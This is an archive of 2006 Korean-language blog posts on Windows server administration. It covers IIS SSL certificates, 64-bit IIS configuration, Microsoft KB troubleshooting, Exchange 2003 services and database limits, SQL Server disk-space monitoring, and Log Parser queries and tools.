2006년 12월 31일 일요일

IIS 웹서버 SSL (보안서버) 인증서 생성 및 설치 가이드 동영상

다음, 동영상은 IIS 웹서버에서 인증서를 설치하기(보안서버 구축) 위한 방법을 설명한 동영상 입니다.
CSR 키 생성에서, 인증서 설치 및 백업, 복원 과정을 상세히 설명한 설치 가이드 동영상입니다.

동영상은, http://www.comodossl.co.kr/ 의 설치 가이드 동영상이나, 인증서구매 부분만 해당되므로, 웹서버 SSL 인증서 (보안서버) 를 설치하고자 하는 운영자 및 담당자에게는 도움이 될것이라 생각됩니다.



다음 동영상, 동영상 링크 및 본 포스트는 불펌을 금하며, 사전 허가되지 않은 인터넷, 웹사이트등에 공개 배포를 허락하지 않습니다.



동영상보기1 이 보이지 않을경우 클릭하세요

위 2가지중 1번은 스트리밍 방식이고, 2번째는 mms가 안되는 환경에서 볼수 있도록 http 다운로드 방식입니다. 동영상으로 충분하나, 일부 강조되는 부분이 있으므로 웹문서로 설치가이드는 http://www.comodossl.co.kr/SSL/InstallGuide.aspx 를 참고하시면 될듯 합니다.


31-comodossl.co.kr.png

64-bit Windows IIS 6 에서 32-bit Applications 실행

Windows Server 2003 Service Pack 1 에서 부터는, 64-bit IIS 에서는 32-bit 응용프로그램을 운영할 수가 있습니다. Windows-32-on-Windows-64 (WOW64) 기술을 통해서 말이죠.^^

그런데, 64비트 에서 32비트 프로세스는 64비트 DLL을 로드할수 없으며 그 반대로도 할수 없습니다. 만일 64비트 IIS 에서 32비트 DLL을 호출할려면, 응용프로그램 풀을 분리해야 합니다.

말하자면, 별도의 Worker Process 를 통해서 응용프로그램을 호스팅해야 한다는 얘기인데요. 응용프로로그램에는 다음과 같은 것이 해당됩니다.

ISAPI 확장 모듈
ISAPI 필터
COM 을 이용하는 ASP 스크립트
ASP.NET


메타베이스 값을 수정하는 것인데요. 기본값은 오직 64비트만 가능하게 되어 있습니다. 당연히 성능상 64비트로만 구성된 웹사이트를 운영하는 것이 좋겠습니다.


cscript.exe adsutil.vbs set W3SVC/AppPools/Enable32BitAppOnWin64 true


(예를 들자면, PHP ISAPI 모듈은 64비트를 아직 지원하지 않습니다. 그래서 위와 같이 32비트를 가능하게 해야 64비트 윈도우에서 PHP 웹사이트 호스팅이 가능해 집니다.)

위와 같이 32비트가 가능하도록 메타베이스를 수정 적용후,. 만일, 하나의 응용프로그램풀에서 32비트와 64비트를 같이 운영을 하게 되면 다음과 같은 오류가 발생하면서 응용프로그램풀이 중지됩니다.

이벤트 형식: 오류
이벤트 원본: W3SVC-WP
이벤트 범주: 없음
이벤트 ID: 2274
날짜:  2006-12-13
시간:  오후 5:20:01
사용자:  N/A
컴퓨터: SERVERINFO
설명:
구성 문제 때문에 ISAPI 필터 'C:\WINDOWS\Microsoft.NET\Framework64\v2.0.50727\aspnet_filter.dll'을(를) 로드하지 못했습니다. 현재 구성은 x86 프로세서 아키텍처용 이미지만 로드하는 것을 지원합니다.


위 문제는, 응용프로그램풀에서 별도의 프로세스로 분리를 하더라도, 32비트와 64비트를 혼용할수가 없는데 ISAPI 확장캐시에 64비트용 확장을 제거하지 않았기 때문입니다.



asp 만으로 구성된 웹사이트라면, 64비트용 확장캐시 목록을 지우거나 32비트용으로 변경을 해줘야 합니다.

참고로, IIS Admin 서비스, SMTP 서비스, NNTP 서비스, FTP 서비스등은 WWW 서비스와는 달리 64비트 전용으로만 가능합니다.

30-64-bit-iis.png

2006년 12월 29일 금요일

SideBySide / ID: 59

Resolve Partial Assembly이(가) Microsoft.Windows.SystemCompatible에 실패했습니다.
참조 오류 메시지: 참조된 어셈블리가 시스템에 설치되지 않았습니다.

SideBySide / ID: 32

종속 어셈블리 Microsoft.Windows.SystemCompatible을(를) 찾을 수 없으며 마지막 오류는 참조된 어셈블리가 시스템에 설치되지 않았습니다.
입니다.

IIS에서 CGI 응용 프로그램을 실행시 "액세스가 거부되었습니다." 메시지 - KB160422

다음 문서는 IIS 6 에 해당되는 내용으로, CGI/ISAPI 실행시 나타날 수 있는 사항입니다.


현상

IIS에서 CGI 응용 프로그램을 실행하려고 하면 다음과 같은 메시지가 나타납니다. 

      액세스가 거부되었습니다.


원인

이 문제는 익명 계정에 CGI에 대한 권한이 없는 경우 발생합니다. CGI 응용 프로그램을 시작하려고 하면 IIS에서는 익명 사용자를 사용합니다. 익명 계정에 해당 파일에 대한 권한이 없기 때문에 프로세스 실행이 실패하고 STDOUT을 통해 오류 메시지가 반환됩니다.

그러나 IIS에서는 프로세스가 정상적으로 실행되고 종료된 것으로 인식합니다. 액세스 거부 오류 메시지가 STDOUT에 있기 때문에 IIS에서는 프로세스 실패를 인식할 방법이 없습니다.

익명 계정이 프로세스를 시작할 수 있었기 때문에 다른 인증 방법을 시도하지 않습니다. IIS에서는 CreateProcessAsUser API 호출을 사용하여 CGI 응용 프로그램을 시작합니다. 사용자에게 CGI/ISAPI 응용 프로그램에 대한 NTFS 권한이 없는 경우 CreateProcessAsUser는 정상적으로 종료됩니다.


해결

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ W3SVC\Parameters

W3SVC/Parameters 아래에 CreateProcessAsUser 값을 REG_DWORD로 추가하고 값을 0으로 지정합니다. 이렇게 하면 CGI가 CreateProcess API를 통해 시스템 컨텍스트에서 실행됩니다. 

이 경우 CGI 스크립트의 시스템 액세스 권한이 보통 때보다 훨씬 커지기 때문에 심각한 보안 문제를 일으킬 수 있습니다.


--> 위 적용에 대해서, 절대 추천하지 않습니다. 왜나면, 일반적으로 웹사이트 실행은 최소 권한인 IUSER 계정으로 접근을 하는데 위와 같이 값을 변경하게 되면 SYSTEM 권한으로 실행이 되므로 익명의 사용자가 서버 전체에 접근할수 있는 권한을 가지게 되는 것이죠..

이와 비슷한 예로, Windows 2000 서버에서 ASP.NET 실행시 잘 안되는 경우가 있다는 질문이 여러 게시판에 올라오는데요. 그 답변이 대부분 machine.config 에서 실행계정은 "system" 으로 변경하라고 제시를 해줍니다. 이 또한 위와 같이 system 권한으로 ASP.NET 웹사이트를 실행하므로 매우 위험한 답변을 제시해 주고 있는 것입니다.

웹개발자는, 서버보안에 상관없이 당장 제작된 웹프로그램 실행이 중요하기 때문에 이런 사항에 대해서는 서버운영자가 필히 적절한 조치 및 방향을 제시해 주어야 하는게 좋겠죠.^^




28-TechNetB_masthead_ltr.gif

https://<sitename> 사이트를 열 수 없습니다. SSL 인증서 오류 - KB239449

현상

SGC(Server Gated Cryptography) 인증서를 사용하면 HTTPS 프로토콜을 사용하여 사이트에 액세스하려는 클라이언트에 다음과 같은 오류 메시지가 나타날 수 있습니다.

IIS 4.0:

https://<sitename> 사이트를 열 수 없습니다.
제공된 인증서가 잘못되었습니다.

IIS 5.0:

페이지를 표시할 수 없습니다.
서버를 찾을 수 없거나 DNS 오류입니다.


--> SGC 인증서 때문인데요. SGC 인증서는 현재는 발급되는 경우가 거의 없습니다. 물론 대부분의 웹서버 SSL 인증서 판매 업체에서는 판매를 하고 있습니다.

SGC(Server Gated Cryptography) 는 클라이언트 브라우져가 40비트/50비트만 지원하고, 128 비트를 지원하지 못하는 경우에도 인증서 자체가 강제적으로 128 비트/ 256 비트 암호화가 가능하도록 지원하는 인증서 규격 입니다. ^^

최근 거의 대부분의 웹서버 및 웹브라우져가 128비트 / 256비트 인증서를 지원하며, IE 7 에서는 SSL 3.0 만 지원하도록 변경되었습니다. 암호화 강도는 점차 높아질 것입니다. ^^

웹서버 인증서 :  http://www.comodossl.co.kr/




28-TechNetB_masthead_ltr.gif

IIS 6 에서 ASP 에서 대용량 파일을 업로드시 403 오류 - KB327659

ASP(Active Server Pages) 요청을 사용하여 Microsoft 인터넷 정보 서비스(IIS) 5.0, Microsoft 인터넷 정보 서비스(IIS) 5.1 또는 Microsoft 인터넷 정보 서비스(IIS) 6.0이 설치된 컴퓨터에 큰 파일을 업로드하면 업로드가 실패할 수 있습니다. 또한 403 오류 응답이나 다음 중 하나와 유사한 오류 메시지가 나타날 수 있습니다.


오류 메시지 1

Request object error 'ASP 0104 : 80004005' 허용되지 않는 작업 :

오류 메시지 2

007~ASP 0104~허용되지 않는 작업

많은 폼 데이터를 ASP 페이지에 게시할 때 다음과 유사한 오류 메시지가 나타날 수 있습니다.

오류 '80020009' 예외가 발생했습니다.

또한 Response.binaryWrite 메서드를 사용할 때 파일 업로드가 실패할 수 있습니다.


이 문제는 Content-Length 헤더가 있고 Content-Length 헤더에서 IIS 메타베이스의 AspMaxRequestEntityAllowed 속성 값보다 큰 데이터 양을 지정하는 경우 발생합니다. AspMaxRequestEntityAllowed 속성의 기본값은 204,800바이트입니다.


해결 방법

cscript adsutil.vbs set w3svc/ASPMaxRequestEntityAllowed size

(*이 명령에서 size는 허용할 최대 파일 크기 업로드의 자리 표시자입니다. 최대값은 1,073,741,824바이트입니다. 이 값을 원하는 기능에 허용되는 최소값으로 설정하십시오.)

--> 업로드 컴포넌트의 성능에 따라서, 대용량 파일을 업로드 하면 웹서버측 메모리 과다 점유로 인해서 성능저하가 발생할 수 있으니 조심 스럽게 설정하는게 좋습니다.^^

이와 관련된 메타베이스 값으로 AspBufferingLimit 있습니다. 이 부분은 다운로드 버퍼링에 관련된 것으로 파일 링크를 막기 위해서 Asp 코드에 파일 쓰기후 다운로드 처리를 하는 경우가 많은데요,. 이때 대용량 파일 다운로드시에 지정된 크기 이상일 경우 오류가 발생하게 됩니다.

AspBufferingLimit : http://msdn.microsoft.com/library/default.asp?url=/library/
en-us/iissdk/html/ecfc3d4a-0178-45e8-89f8-304429b7fda5.asp



AspMaxRequestEntityAllowed 속성은 ASP 요청의 엔터티 본문에서 허용되는 최대 바이트 수를 지정합니다. Content-Length 헤더가 있고 Content-Length 헤더에서 AspMaxRequestEntityAllowed 속성 값보다 큰 데이터 양을 지정하는 경우 IIS에서 403 오류 응답을 반환합니다. AspMaxRequestEntityAllowed 속성은 PUT 요청과 POST 요청에만 적용되고, GET 요청에는 적용되지 않습니다. 이 메타베이스 속성이 ASP에만 적용되기 때문에 다른 ISAPI(인터넷 서버 API) 확장은 영향을 받지 않습니다.

AspMaxRequestEntityAllowed 속성은 MaxRequestEntityAllowed 속성의 기능과 관련되어 있습니다. 그러나 AspMaxRequestEntityAllowed 속성은 ASP 요청에만 적용됩니다. MaxRequestEntityAllowed 속성을 WWW 서비스(World Wide Web 게시 서비스) 수준에서 1MB로 설정할 수 있습니다. 그런 다음 특정 ASP 응용 프로그램에서 더 작은 양의 데이터를 처리하는 것을 알고 있는 경우 AspMaxRequestEntityAllowed 속성을 더 작은 값으로 설정할 수 있습니다.

--> ASP.NET 에서는 machine.config  또는 전역 web.config 및 각 웹사이트의 web.config 에서 지정할 수 있습니다.^^



28-TechNetB_masthead_ltr.gif

2006년 12월 28일 목요일

Exchange 를 운용하기 위한 서비스 목록

Exchange 는 일반적인 서버 제품과는 달리, 협업을 위한 서비스 제품으로 기본적으로 Active Directory 와 연동이 되어 있을 뿐만 아니라 서비스를 운영하기 위한 다양한 서비스들이 작동하게 됩니다.

다음은, 익스체인지 운영시 설치되는 서비스 목록인데 모두 설치 및 작동 되는 것은 아니며 관리자의 설치 옵션에 따라서 약간씩 차이는 있죠.^^

아래 항목에는 없지만, IIS SMTP 도 Exchange 에서 이용되는 핵심 서비스중이 하나이며, OWA 서비스를 위해서 IIS WWW 서비스도 이에 해당됩니다.



IMAP4Svc (Microsoft Exchange IMAP4)
 
사용자가 IMAP4(Internet Message Protocol version 4)를 통해 사서함 및 공용 폴더를 액세스할 수 있도록 하는 서비스입니다.

MSExchangeActiveSyncNotify

이 서비스는 Exchange ActiveSync 사용자에게 업데이트 알림을 제공합니다.

MSExchangeADDXA

Active Directory Connector가 설치된 경우 연결 동의(CA)를 실행하는 서비스입니다.

MSExchangeAL

사용자가 주소 목록을 통해 전자 메일에 주소를 지정할 수 있도록 하는 서비스입니다.

MSExchangeDSAccess

Exchange에서 Active Directory에 액세스할 수 있도록 하는 서비스입니다.

MSExchangeES (Microsoft Exchange Event)

Exchange 5.5 호환 서버 응용 프로그램에 대한 폴더를 모니터링하고 이벤트를 발생시킵니다.

MSExchangeIS (Microsoft Exchange Information Store)

정보 저장소에 대한 액세스를 허용하는 서비스입니다.  이 서비스에는 사서함 저장소와 공용 폴더 저장소가 포함됩니다. 이 서비스가 중지되면 이 컴퓨터에 있는 사서함 저장소와 공용 폴더 저장소를 사용할 수 없습니다.

MSExchangeMTA (Microsoft Exchange MTA Stacks)

X.400 커넥터에게 메시지 전송 에이전트(MTA)가 사용됨을 알려 주는 서비스입니다.  Exchange 5.5 서버에 연결하는 데 Exchange X.400 서비스를 사용하며 사용자 지정 게이트웨이와 같은 다른 커넥터에서도 사용합니다. 이 서비스가 중지되면 Exchange X.400 서비스를 사용할 수 없습니다.

MSExchangeMU

Exchange 구성 정보 변경을 IIS 메타베이스로 복제하는 서비스입니다.

MSExchangeMGMT (Microsoft Exchange Management)

WMI(Windows Management Instrumentation)를 사용하여 Exchange 관리 정보를 제공합니다. 이 서비스가 중지되면 WMI를 통해 Exchange 관리 정보를 사용할 수 없습니다.

MSExchangeSA 

모니터링, 유지 관리 및 Active Directory 조회 서비스를 제공합니다. 예를 들어 서비스와 커넥터를 모니터링하고 Exchange 저장소의 조각 모음을 실행하며 Active Directory 조회를 글로벌 카탈로그 서버에 전달합니다. 이 서비스가 중지되면 모니터링, 유지 관리 및 조회 서비스를 사용할 수 없습니다.

MSExchangeSRS

사이트 복제 서비스(Site Replication Service)를 사용하여 Exchange Server 2003을 실행하는 컴퓨터를 Exchange 5.5를 실행하는 컴퓨터와 복제할 때 항목을 기록하는 카운터입니다.

MSExchangeTransport

SMTP(Simple Mail Transfer Protocol)를 사용하여 메시지를 라우팅할 때 항목을 기록하는 카운터입니다.

POP3Svc (Microsoft Exchange POP3)

POP3(Post Office Protocol version 3)를 사용하여 전자 메일을 액세스할 때 항목을 기록하는 카운터입니다. 클라이언트에 Microsoft Exchange POP3(Post Office Protocol version 3) 서비스를 제공합니다. 이 서비스가 중지되면 클라이언트가 POP3 프로토콜을 사용하여 이 컴퓨터에 연결할 수 없습니다.

RESvc (Microsoft Exchange Routing Engine)

xchange Server 2003 서버에 토폴로지 및 라우팅 정보를 제공합니다. 이 서비스가 중지되면 메시지의 최적 환경에서 메시지를 라우팅할 수 없습니다.


익스체인지 관리자라면, 위 항목에 대해서 평소 알고 있고 서비스 상태를 모니터링 해야 사전에 문제발생을 예방하거나 문제 발생시 빠른 복구가 가능해질 것입니다.^^

대부분 익스체인지 서버를 운영하시는 분들이, 기본 설치후 메일 주고/받기에 크게 문제가 없으면 익스체인지에 문제 없는 것으로 생각하고 관심없어 하시는 분들도 많은게 현실입니다.


Exchange Server 2003 데이터베이스 크기 제한 구성

기본적으로 Exchange Server 2003 Standard Edition을 실행하는 서버에 있는 각 데이터베이스의 크기 제한은 16GB입니다. Exchange Server 2003 서비스 팩 2(SP2)를 설치한 경우 각 Exchange 데이터베이스의 기본 크기 제한은 18GB입니다.

Exchange Server 2003 SP2를 실행하는 서버에서는 데이터베이스 크기 제한을 데이터베이스당 최대 75GB까지 구성할 수 있습니다.

기본적으로 Exchange Server 2003 Enterprise Edition을 실행하는 서버에 있는 각 데이터베이스의 크기 제한은 8,000GB입니다. 일반적으로 이 크기는 이론상의 한도입니다. Exchange 데이터베이스의 실제 한도는 서버 하드웨어와 저장소 하위 시스템의 하드웨어에 따라 달라집니다.

Exchange Server 2003 SP2를 설치하면 데이터베이스 크기 제한을 최대 8,000GB까지 구성할 수 있습니다.


1. 레지스트리 경로

사서함 저장소의 데이터베이스 크기 제한을 구성하려면 다음 레지스트리 키를 추가해야 합니다.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSExchangeIS\Server name\Private-Mailbox Store GUID

공용 저장소에서 데이터베이스 크기 제한을 구성하려면 다음 레지스트리 키를 추가해야 합니다.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSExchangeIS\Server name\Public-Public Store GUID

2. 데이터베이스 크기 지정 키생성

DWORD 형식의 이름으로 Database Size Limit in Gb를 생성후, 값 데이터에 최대 데이터베이스 크기에 적합한 값(GB)을 입력하는데 Exxchange Server 2003 Standard Edition의 경우 1에서 75 사이의 값을 입력합니다. 기본값은 18GB입니다.

Exchange Server 2003 Enterprise Edition의 경우 1에서 8000 사이의 값이 가능합니다. 기본값은 8000GB입니다.

3. 데이터베이스 크기 경고

Public(또는 Private) Store GUID에  DWORD 형식의 Database Size Buffer in Percentage를 생성합니다.

값 데이터에 1에서 100 사이의 값을 입력하여 데이터베이스의 최대 크기에 가까워지고 있음을 경고하는 이벤트가 기록될 시기를 지정합니다. 기본값은 10이며 10을 입력하면 데이터베이스의 최대 크기에 도달하기 전에 용량이 10% 남았을 경우 경고 이벤트가 기록됩니다.

Public(또는 Private) Store GUID에 DWORD 형식으로 Database Size Check Start Time in Hours From Midnight를 생성합니다.

값 데이터에 0에서 23 사이의 값을 입력하여 Exchange가 데이터베이스 크기를 확인하는 시기를 지정합니다. 기본값은 5이며 5를 입력하면 Exchange Serve가 자정 후 5시간 후(오전 5:00)에 데이터베이스 크기를 확인합니다.

Microsoft TechNet 

Winlogon / ID: 1218

터미널 서버 프로필 경로를 로드하지 못했습니다.
프로필 경로의 길이는 반드시 256자 미만이여야 합니다.
사용자 이름: kisme7
도메인: SERVERINFO

2006년 12월 26일 화요일

xp_fixeddrives 프로시져를 이용한 디스크 여유공간 모니터링

서버관리자나, DBA는 주기적인 서버 모니터링을 통해서 서버가 항상 청청한 상태로 운영되도록 하기 위한 모니터링이 필요하다.

xp_fixeddrives 는 DBA를 위한 프로시져로 비공식 프로시져 이다. xp_fixeddrives 이미 여러 전문가들에 의해서 소개된바 있다.

SQL Server 에는 다음과 같은 비공식 프로시져들이 존재한다. (*여기서 비공식이란 온라인도움말 문서화에 포함되지 않는 프로시져를 말한다)

sp_MSgetversion
xp_dirtree
xp_enum_oledb_providers
xp_enumcodepages
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_fileexist
xp_fixeddrives
xp_getnetname
xp_readerrorlog
xp_regdeletekey
xp_regdeletevalue
xp_regread
xp_regwrite
xp_subdirs

(예제: http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm )


물론 디스크 여유공간 모니터링에 대한 방법은 사버 운영자의 운영기법에 따라서 여러가지가 존재할수 있다. 필자의 경우는 Windows 관리 인터페이스인 WMI를 권장한다.

참고 : WMI : 디스크 사용량 모니터링 Vbscript
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=221


실제 예제 쿼리를 보도록 하자. 아주 간단한 코드이므로 쉽게 이해할 수 있는 코드이다.

declare @MB_Free int

create table #FreeSpace(
 Drive char(1),
 MB_Free int)

insert into #FreeSpace exec xp_fixeddrives

select @MB_Free = MB_Free from #FreeSpace where Drive = 'C'

-- Free Space on C drive Less than Threshold
if @MB_Free < 1024
  exec master.dbo.xp_sendmail
     @recipients ='kissme7@msn.com',
     @subject ='C Drive 여유공간 임계치 이하',
     @message = 'Free space on C Drive
                 has dropped below 1 gig'

select @MB_Free = MB_Free from #FreeSpace where Drive = 'F'

-- Free Space on F drive Less than Threshold
if @MB_Free < 2048
   exec master.dbo.xp_sendmail
     @recipients ='kissme7@msn.com',
     @subject ='F 드라이브 여유공간 임계치 이하',
     @message = 'Free space on F Drive
                 has dropped below 2 gig'

쿼리 출처: http://www.databasejournal.com/features/mssql/article.php/3080501


위 쿼리는, 디스크 여유공간을 임시로 저장할 임시테이블 #FreeSpace 를 생성후  xp_fixeddrives 를 통해서 반환된 결과 레코드를 넣는 방법이다.

예제에서는, C 및 F 드라이브를 각각 모니터링하는데 지정된 용량 이하인 경우 xp_sendmail 프로시져를 통해서 메일을 보낸는 방법이다.

xp_sendmail 를 이용할려면, 사전에 SQL Mail 세선이 설정 및 시작되어 있어야 합니다. 그런데 이것은 실제 서버에서 AD 나 익스체인지가 가능해야 하므로 어렵습니다. 그래서 필자가 이전에 소개했던  SQL서버에서 sp_OACreate를 활용한 메일발송 예제 :
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=101 를 이용해 보는 것도 좋은 방법이다.


위 쿼리를 Sql Agent 스케쥴러에 등록을 해서 매일 또는 매주 실행하도록 해놓으면 좋은 모니터링 방법이 될것이다.


다음 웹페이지에 소개된 쿼리문도 참고해 보기 바란다. 위 쿼리문보다 훨씬더 자세한 정보를 기록하는 쿼리문으로 위의 경우 디스크 여유공간만 확인하는데 다음 쿼리는 전체 공간 및 GB 단위 변경코드도 추가되어 있다.

http://www.sqldbtools.com/Scripts/xp_FixedDrivesWrapper.sql
http://www.sql-server-performance.com/tp_centralized_sql_server_monitoring_b.asp

2006년 12월 22일 금요일

MS, 중소기업용 롱혼서버(Longhorn Server)에 기반한 「센트로(Centro)」서버제품 테스트 시작

Microsoft 에서, 내년에 발표할 예정인 롱혼서버의 중소기업용 제품인 센트로(Centro) 를 테스트 하기로 했다는데요.

Vista 도 제품종류가 너무 많아서, 어떤 버젼이 어떤 환경에 적합한것인지 매우 혼란스럽습니다만., 서버 제품도 기존에 Windows Server 및 Small Business Server 를 내놓더니 이번에는 코드명 센트로(Centro) 를 추가로 내놓는다고 합니다.

물론, 중소기업용이므로 롱혼서버보다는 기능이 다소 제약되어 있을것으로 보이고 그에 따라서 가격도 조금 더 저렴해 질것으로 보입니다.

실제 발매가 되더라도 팔릴지는 의문스럽습니다. 왜냐면, 현재의 Windows Server 2003 웹버젼도 벤더를 통해서만 가능하나 실제 벤더에서 판매를 아예? 하지 않아서 구경조차 힘든 상태이고, SQL Server 2005 Workgroup 버젼도 판매가 거의 되지 않습니다.

이유는 여러가지 이겠지만, 저렴한 가격은 좋지만 기능이 너무 없다는 것이 큰 이유일것 같습니다. 마이크로소프트에서 생색내기 버젼을 내놓고 실제로는 벤더에 Standard 버젼 이상을 판매하기를 권장했을지도 모를일이구요..

한가지, 고려해야 할 부분이 64bit 전용으로만 운영이 가능하다는 것입니다. 단점인지 장점인지 모르겠으나, 필자가 현재 Windows Server 2003 Standard x64 및 Enterpirse x64 버젼을 현업에서 현재 운영해본 결과 기존 32bit 보다는 훨씬더 빠른 퍼포먼스와 안정성이 있다는 것을 느끼고 있습니다.

-------------------------------------------------

마이크로소프트(MS)가 2종류의 차기 서버 제품의 테스트를 시작했다. 각각 소규모 기업과 중간규모의 기업에 적절한 제품이다.

MS는 지난주에 롱혼서버(Longhorn Server)에 기반한 중간규모 기업용의 신제품 「센트로(Centro)」의 한정적인 베타판을 릴리스했다. 또 「코가(Cougar)」라는 개발 코드명의 차기 소규모 비즈니스 서버(Small Business Server) 제품의 기술 프리뷰 판도 발표했다.

코가의 기술 프리뷰 판은 11월말에 100여 개사의 파트너 기업 및 컴퓨터 제조업체에 배포됐다. 두 제품 모두 2008년 중에 출시될 예정이며 윈도우의 64비트 버전에만 가능하다.

기사원문 : http://www.zdnet.co.kr/news/enterprise/server/0,39031193,39154047,00.htm

.NET Runtime 2.0 Error Reporting / ID: 1000

Faulting application w3wp.exe, version 6.0.3790.1830, stamp 42435be1, faulting module mscorwks.dll, version 2.0.50727.42, stamp 4333e7ec, debug? 0, fault address 0x000e9f96.

.NET Runtime / ID: 1023

.NET Runtime version 2.0.50727.42 - 심각한 실행 엔진 오류(7A05E2B3) (80131506)

Visual LogParser - GUI 로그 파서 도구

Log Parser 는 명령줄 유틸리티로 아주 강력하고 다양한 로그를 파싱해 주는 도구이다. 이 Log Parser 는 앞서 소개했던 API 를 제공하는데 이 API를 닷넷에서 호출하여 만들도구가 Visual Log Parser 이다.

다운로드: http://en.serialcoder.net/logiciels/visual-logparser.aspx

제한사항 : 닷넷 프레임워크 2.0(Windows Update 를 통해서 설치가능) 및 명령행 Log Parser 가 사전에 설치되어 있어야 한다.

Log Parser 2.2 :http://www.microsoft.com/downloads/details.aspx?FamilyID=
890cd06b-abf8-4c25-91b2-f8d975cf8c07&displaylang=en


물론, GUI 지원 툴을 사용한다고 해서 생산성이 높아지는 것은 아니다. 오히려 명령행 도구가 능숙한 관리자에게는 더 효과적인것이 일반적이다. 다만 이런 Visual 도구는 좀더 직관적인 인테페이스를 통해서 쉽게 접근할수 있다는 장점이 있다.



설치후 위와 같은 파일들이 설치되어 있다. 닷넷의 특성상 파일복사 만으로도 프로그램 실행이 가능하므로 설치파일이 아닌 위 파일을 다른곳에 그냥 복사해도 무리 없이 실행된다.

ICSharpCode.TextEditor 은 쿼리입력창 컴포넌트
Interop.MSUtil 은 LogParser Win32 컴포넌트를 RCW 래핑한 컴포넌트
Microsoft.Practies.* 는 MSDN 에서 제공하는 예제 컴포넌트
SandDock 는 GUI Window 지원 컴포넌트



Visual Log Parser 는 API 에서  제공하는 모든것을 지원한다. 쿼리문은 직접 타이핑을 하게 되어 있지만, 옵션값등은 마우스 조작을 통해서 적용이 가능하다.


1. 쿼리입력창



먼저 쿼리입력창을 보면, SQL Server 에서 제공하는 쿼리 분석기와 유사하다. 또한 Visual Studio 를 참조한듯 싶다. 물론, 쿼리문을 직접 타이핑을 해야 하는 점이 있기는 하나, 여러가지 템플릿을 사전에 만들어 놓는 다면 훨씬 작업이 쉬워질 것으로 생각된다.

추후 개발이 된다면, 여러가지 GUI 화면 옵션을 통해서 위와 같은 쿼리문을 자동으로 작성하는 기능이 추가되었으면 하는 바람이다. 이를테면, SQL Server 의 EM 도구에서 쿼리작성 도구를 통해서 쉽게 쿼리문을 만들수 있게 말이다.

이와 관련해서 한가지 단점이라면, 로그파일 선택이 되지 않고, 위 처럼 직접 지정을 해줘야 한다는 점도 있어 추후 개발/개선의 여지는 상당히 남아 있고 기대가 되는 점이기도 하다.


2. 결과 출력



쿼리 실행결과를 DataGrid 형태로 보여주나, 이 역시 csv 나 txt 파일로 Export 를 할수 있도록 지원한다.


3. 소스형식



명령행 도구에서 제공하는 소스 모두 가능하다. 물론, 명령행 도구의 버젼이 현재 2.2 버젼인데 이 도구의 버젼 업데이트에 따른 추가적인 데이터 원본이 추가된다면 이 역시 Visual LogParser 도 마이너 업데이트를 통해서 가능할 것으로 보인다.

위와 같은 소스형식별 쿼리 옵션을 GUI 상태에서 지정이 가능하도록 지원한다.



파라미터 값은, 데이터 원본 선택에 따라서 자동으로 옵션값 목록을 보여줘서 쉽게 설정을 할수가 있다.


다음은, 몇가지 예제쿼리 이다. 앞서 얘기한것처럼 필요한 쿼리문을 사전에 생성해 놓는다면 추후 이용하기 편리할 것이다.

- 이벤트로그 쿼리, 이벤트 소스별 이벤트 ID 의 각 % 점유율

SELECT SourceName,
 EventID,
 MUL(PROPCOUNT(*) ON (SourceName), 100.0) AS Percent
FROM System
GROUP BY SourceName, EventID
ORDER BY SourceName, Percent DESC

- 파일시스템 쿼리, 이름별 갯수

SELECT  STRLEN(Name) AS NameLen,
 COUNT(*) AS Total
FROM C:\*.*
GROUP BY NameLen
ORDER BY Total

- 레지스트리 쿼리, HKLM 클래스의 최상위 5개 키

Select top 5 * from \HKLM

- IIS로그 쿼리

- 상태코드 400 이상인 페이지 조회

SELECT cs-uri-stem AS Url, sc-status AS Status, COUNT(*) AS Errors
FROM ex*.log
WHERE (sc-status >= 400)
GROUP BY Url, Status
ORDER BY Errors DESC

- win32 오류 페이지 조회

SELECT cs-uri-stem AS Url,
WIN32_ERROR_DESCRIPTION(sc-win32-status) AS Error, Count(*) AS Total
FROM ex*.log
WHERE (sc-win32-status > 0)
GROUP BY Url, Error
ORDER BY Total DESC


- 오류가 난 Asp 페이지 쿼리

SELECT  EXTRACT_TOKEN(FullUri, 0, '|') AS Uri,
        EXTRACT_TOKEN(cs-uri-query, -1, '|') AS ErrorMsg,
        EXTRACT_TOKEN(cs-uri-query, 1, '|') AS LineNo,
        COUNT(*) AS Total
USING   STRCAT( cs-uri-stem,
                REPLACE_IF_NOT_NULL(cs-uri-query, STRCAT('?', cs-uri-query))
        ) AS FullUri
FROM ex*.log
WHERE (sc-status = 500) AND (cs-uri-stem LIKE '%.asp')
GROUP BY Uri, ErrorMsg, LineNo
ORDER BY Total DESC

위와 같은 Log Parser 도구를 이용할려면 기본적인 SQL 쿼리문의 구조를 알고 있어야 자유롭게 필요한 데이터를 추출할수 있을것이다. 물론 공개된 템플릿을 이용하거나 약간 수정해서 이용하는 것도 좋은 방법이겠다.

21-logparser_5.png
21-logparser_1.png
21-logparser_2.png
21-logparser_4.png
21-logparser_3.png

2006년 12월 21일 목요일

Log Parser COM API C#

Log Parser 는 여러가지 로그 및 데이터를 파싱해서 특정 포맷으로 빠르게 변환해 주는 유틸로 잘 알려져 있다.

다운로드 : http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b
-abf8-4c25-91b2-f8d975cf8c07&displaylang=en


Vbscript 나 Jscript 에서 COM 오브젝트를 호출하여 이용할수 있으며, 닷넷에서도 호출을 제공한다. 물론 RCW 로 래핑을 해줘야 하는데 이부분은 Visual Stuido 에서 참조추가를 하면 자동으로 처리를 해주므로 크게 신경쓰지 않아도 된다.

참조된 클래스를 보면, 소스포맷 및 출력포맷에 따른 각각의 클래스를 제공한다. 이유는 물론 데이터 포맷이 각각 다르므로 하나의 클래스에서 다 처리해준다는 것은 경우의 수가 많아서 일지도 모르겠다.

다음 예제는, Log Parser 에서 기본으로 제공하는 샘플코드 이다. 이러한 샘플코드를 소개하는 이유는 Log Parser 명령줄 유틸리티로는 서버관리자가 원하는 다양한 방식의 운영이 조금 불편한 점도 없지 않다.

이를 테면, 매일 웹사이트 로그중 웹오류인 500 에 대해서 파싱된 데이터를 특정 메일주소로 발송을 해준다던가 특정 디렉토리에 넣어주는 방법도 있을 것이다.


using System;
using LogQuery = Interop.MSUtil.LogQueryClassClass;
